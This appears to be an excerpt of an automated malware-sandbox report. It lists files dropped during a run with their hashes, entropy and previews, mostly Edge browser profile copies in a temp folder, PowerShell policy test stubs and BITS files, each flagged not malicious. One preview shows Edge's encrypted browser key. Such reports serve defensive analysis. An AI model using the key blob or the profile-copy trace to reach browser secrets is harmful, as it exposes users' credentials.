Malicious:	false
Preview:	b...... ...............X\...;...{......................0.`.....42...{5.('...\|..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{.....................................7('...\|......................('...\|...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08217889886404028
Encrypted:	false
SSDEEP:	3:s2KYe63yqt/57Dek3JfPB+YllEqW3l/TjzzQ/t:s2KzcrR3tHEImd8/
MD5:	004AB72E4181135EF748BE2015A0DCB8
SHA1:	7347A9A6E353C641C095F987FBFF8D3B1ABC8207
SHA-256:	A4B12345FA1F4F07E1A000D9BE18731D5D0C3843E6620AA414DA5B4DC4303121
SHA-512:	181BB3F2C737D58694B76B2FD147C4E134055E90EC35B53CA9D5D4012AA2E507090020E5C52BC3337387170FA535BF202FA8697B45F491F94B474D639921F278
Malicious:	false
Preview:	........................................;...{..('...\|..42...{5.........42...{5.42...{5...Y.42...{59....................('...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Code Cache\js\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:7JCWFjEtv5:QWqtx
MD5:	3C9BBBD67DCC0AEE4460DE770F446AE3
SHA1:	48163C6722C05289B6DB5F9AA6E67F60D87231A9
SHA-256:	324BA9E7CE493BE9DF1FD25CAD6089AD2B1F8F1BE0D0BB89CD7DB36ACE95E215
SHA-512:	653DAE8844CE47FBFC847928FD9C68680F54CC3F1A3FBC43BD57813EB1610036EEF89690E1641344B967BB93F4B3DB3128FD15B4B404DCC0E1FAD292847521AF
Malicious:	false
Preview:	(...f,'.oy retne........................1c..../.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Code Cache\wasm\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:AiHC0EN34TA+:AiHqNIk+
MD5:	CD1F8B165B153D99C15F45C7C96D4970
SHA1:	B02ABBA0F5FF15BD54A07D9A464AFFF9B5EF6CCF
SHA-256:	A0EE4A6691F50434FE83D0CD38C2E1397B133D6065A1A4A38705D14588D91FBA
SHA-512:	9AC4FC96D408E0545AB5A5D6A32E7BCCD197A41A754154F4C1C774D2D66A498890FA1F7713D2D1029927E5566E2ADE9EC96EB883267ED9C721E37BCA7FF1F7FA
Malicious:	false
Preview:	(...].X.oy retne............................../.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Extension Rules\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Extension Scripts\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Local Storage\leveldb\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Network\SCT Auditing Pending Reports (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Session Storage\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Site Characteristics Database\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:Z1Tp0ESVBxi+:H1mi+
MD5:	8E964E0FC3A8B457ADF8FAF063881CF5
SHA1:	4CF9F19CF75C1912D1CB32A4880511CC4613832B
SHA-256:	B7ECC747C60F2CE4527A67DB29AB9C206214C75868155D447CAB3CB6C2E3049A
SHA-512:	860598125CADC2683D54839ADCFD452701B3225F5FAE7E205A7D270B9DF4221FAA0A2C946BA84712E33B44E6939BD04CEEC4E25279B6B85389139EE2B90FA01B
Malicious:	false
Preview:	(...D.9@oy retne..........................$.../.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Sync Data\LevelDB\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\shared_proto_db\metadata\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Local State (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1370
Entropy (8bit):	5.5510312334540215
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtEdJUIRSZKEyik/2AxJdXBuBuwBaamziNhPhX/KQQRCYfYg:YuBqDPafmd5Rixk5gBzBaF4PhPLB0
MD5:	2EAEB043BB17B3D703B5CB06BF0D09E0
SHA1:	951044F82168B66FE85D98E933ABA4E446EDDACA
SHA-256:	11A3B054C47684F06AF287C69A38850056847559457B59D69579D6C79196F55C
SHA-512:	0DE55161E36A3C3FF0B8B24A0D69EB5BB94EAF265087F54FCCA3055F819F26342D394824455F29FEA1F9ED8B30CF16B1749863ECFE6F0E3DF447DF422A1D9E14
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACNCo8NlEYSSqUyvq1AQjqsEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAClAF9LgBbBTIsDM0YWKKQg3ysELvGn+HESR2V3BWdyVgAAAAAOgAAAAAIAACAAAADOLM6cF690d81bDPi1fwHu/WD82a/ImAcGuU2Jd0URkDAAAAAU1de3aJSlx9YNq/FpjcSIJBLhVt7OUkt+65q3t4hwucQtKNP3SBVrEh/4SaV3KuFAAAAAsj/ONyPXNgQVEr9xFRkXrGY55+xfJFwLAZ+n/FwJnjwqWOd8bS7P4wV8GaxfKEc3mkbASuuvi/S6ZHRY7iBJeg=="},"profile":{"info_cache":{},"profile_counts_reported":"13377865182320431","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1733391582"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d3jrpzey.xgu.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rezjztpn.zuu.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rsbs2ncf.suq.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxivwyol.sdw.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\4456d602-e423-4cf1-9dce-999c55ebd5d0.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1370
Entropy (8bit):	5.5510312334540215
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtEdJUIRSZKEyik/2AxJdXBuBuwBaamziNhPhX/KQQRCYfYg:YuBqDPafmd5Rixk5gBzBaF4PhPLB0
MD5:	2EAEB043BB17B3D703B5CB06BF0D09E0
SHA1:	951044F82168B66FE85D98E933ABA4E446EDDACA
SHA-256:	11A3B054C47684F06AF287C69A38850056847559457B59D69579D6C79196F55C
SHA-512:	0DE55161E36A3C3FF0B8B24A0D69EB5BB94EAF265087F54FCCA3055F819F26342D394824455F29FEA1F9ED8B30CF16B1749863ECFE6F0E3DF447DF422A1D9E14
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACNCo8NlEYSSqUyvq1AQjqsEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAClAF9LgBbBTIsDM0YWKKQg3ysELvGn+HESR2V3BWdyVgAAAAAOgAAAAAIAACAAAADOLM6cF690d81bDPi1fwHu/WD82a/ImAcGuU2Jd0URkDAAAAAU1de3aJSlx9YNq/FpjcSIJBLhVt7OUkt+65q3t4hwucQtKNP3SBVrEh/4SaV3KuFAAAAAsj/ONyPXNgQVEr9xFRkXrGY55+xfJFwLAZ+n/FwJnjwqWOd8bS7P4wV8GaxfKEc3mkbASuuvi/S6ZHRY7iBJeg=="},"profile":{"info_cache":{},"profile_counts_reported":"13377865182320431","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1733391582"},"user_experienc

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\5a11d1eb-676f-4588-b384-83dac0c9e65e.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3280
Entropy (8bit):	5.592397070864384
Encrypted:	false
SSDEEP:	96:0q8NkC1fmdieak+3BI51vcFpdPvJkOcTSDS4S4SDSbI4a:/8Nb8dE5dZkO4
MD5:	C80285A17C48074FF24CEE78797A5ED2
SHA1:	0AA40D51A953A89687A8210397A098EF6F1A05BC
SHA-256:	964E947B313D0ECBB757EFB2FFE2C977338276FD25900BAC9252E138D0495573
SHA-512:	7BA7EAAF43E6A8E29FCA6E8983BF4BCAC7724F884C05D8B4AE5501F01943C9798AE753CB3EF61C36B7D9126E5DFCF4062A81C28BD21EA6A850FC993ADB8DBEAC
Malicious:	false
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACNCo8NlEYSSqUyvq1AQjqsEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAClAF9LgBbBTIsDM0YWKKQg3ysELvGn+HESR2V3BWdyVgAAAAAOgAAAAAIAACAAAADOLM6cF690d81bDPi1fwHu/WD82a/ImAcGuU2Jd0URkDAAAAAU1de3aJSlx9YNq/FpjcSIJBLhVt7OUkt+65q3t4hwucQtKNP3SBVrEh/4SaV3KuFAAAAAsj/ONyPXNgQVEr9xFRkXrGY55+xfJFwLAZ+n/FwJnjwqWOd8bS7P4wV8GaxfKEc3mkbASuuvi/S6ZHRY7iBJeg=="},"policy":{"last_statist

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\912f56d6-1979-4e82-a721-5b0236d24b39.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4196
Entropy (8bit):	5.48691661710378
Encrypted:	false
SSDEEP:	96:0q8NkGS1fmdiea58rh/cI9URoDotoqFT8BI51vcFpdPvJkOcTSDS4S4SDSbI4a:/8NBS8dbeoDUI5dZkO4
MD5:	AB6D39112EB1B2A6D22C49FC61B77865
SHA1:	18C20BBA5C560C8AE4038F293E9F175F041F4368
SHA-256:	33D70348E40889D58194835D5C5C2B47528EA513591942B00EB60F88FDBF071C
SHA-512:	308F31E3B43730A1D208F5107491B48136EAAA2C807DB6F08605E477FC6F06C0197E96F1D16B54F2995FC6E12D866A79CF5DAAE46954B368672551B8F70E4BCA
Malicious:	false
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACNCo8NlEYSSqUyvq1AQjqsEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAClAF9LgBbBTIsDM0YWKKQg3ysELvGn+HESR2V3BWdyVgAAAAAOgAAAAAIAACAAAADOLM6cF690d81bDPi1fwHu/WD82a/ImAcGuU2Jd0URkDAAAAAU1de3aJSlx9YNq/FpjcSIJBLhVt7OUkt+65q3t4hwucQtKNP3SBVrEh/4SaV3KuFAAAAAsj/ONyPXNgQVEr9xFRkXrGY55+xfJFwLAZ+n/FwJnjwqWOd8bS7P4wV8GaxfKEc3mkbASuuvi/S6ZHRY7

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\BrowserMetrics\BrowserMetrics-675174DE-1A60.pma

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.21866984900330974
Encrypted:	false
SSDEEP:	1536:smQODS1S/EGZXeA9R1RG/KqyeRGg1DRFFhqCRG7lP+Tz1nc9sLzgs1Z:smTDD/EGJ9RK/KqyXg1HFhqrR6zY
MD5:	07910E15251F0F06E4F9B8F53E20A6EF
SHA1:	21B1193EC999C768F609DAD4B9F855A3B7E7CD1C
SHA-256:	B20A23647F3F8B36C8089DC615CFD75B65D4B53C58F818C3E2932E0D877158DB
SHA-512:	2ABF7FFD2227B737D67BC3B6E8965ED31EA32B6F6040F9EC95A4F5FE4E905AFC4FB5A95AD17B505F5C37FB9F98C7A33BF0C15FF10E61AD54731E018B6511AA22
Malicious:	false
Preview:	...@..@...@.....C.].....@...................`...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".ylhpuy20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@......................................<.w..U..d.y.oK.>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....S@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....triggered...

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Crashpad\settings.dat

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	1.7770107289812764
Encrypted:	false
SSDEEP:	3:FiWWltlS3LilF4v+Rj5FSSJ+/tl:o1S3mLjBJ+
MD5:	AD703A3F40605BD318A27215DA9C820F
SHA1:	40452420AA82F483F33A2C13DD71D82FD8DE0F4A
SHA-256:	F722900D900B60F6F697DA8C8149FABEDEDC4847381F357134A598D3F4C7BA5B
SHA-512:	F32B49259CF8AF38D9EEFBF668005139A0734EDD50D2DBB4BE384C8F1FE02802C2300A6B443C4887C56FDB59BAE19D09497D9E673F47E3CBDECB84A331265751
Malicious:	false
Preview:	sdPC......................keR..@.)..u...................................................................................................................................................................................................decbe563-8a8c-43a8-96cb-1977ef766c04............

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Crashpad\throttle_store.dat

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6219280948873624
Encrypted:	false
SSDEEP:	3:8g6Vvn:8g6Vv
MD5:	9E4E94633B73F4A7680240A0FFD6CD2C
SHA1:	E68E02453CE22736169A56FDB59043D33668368F
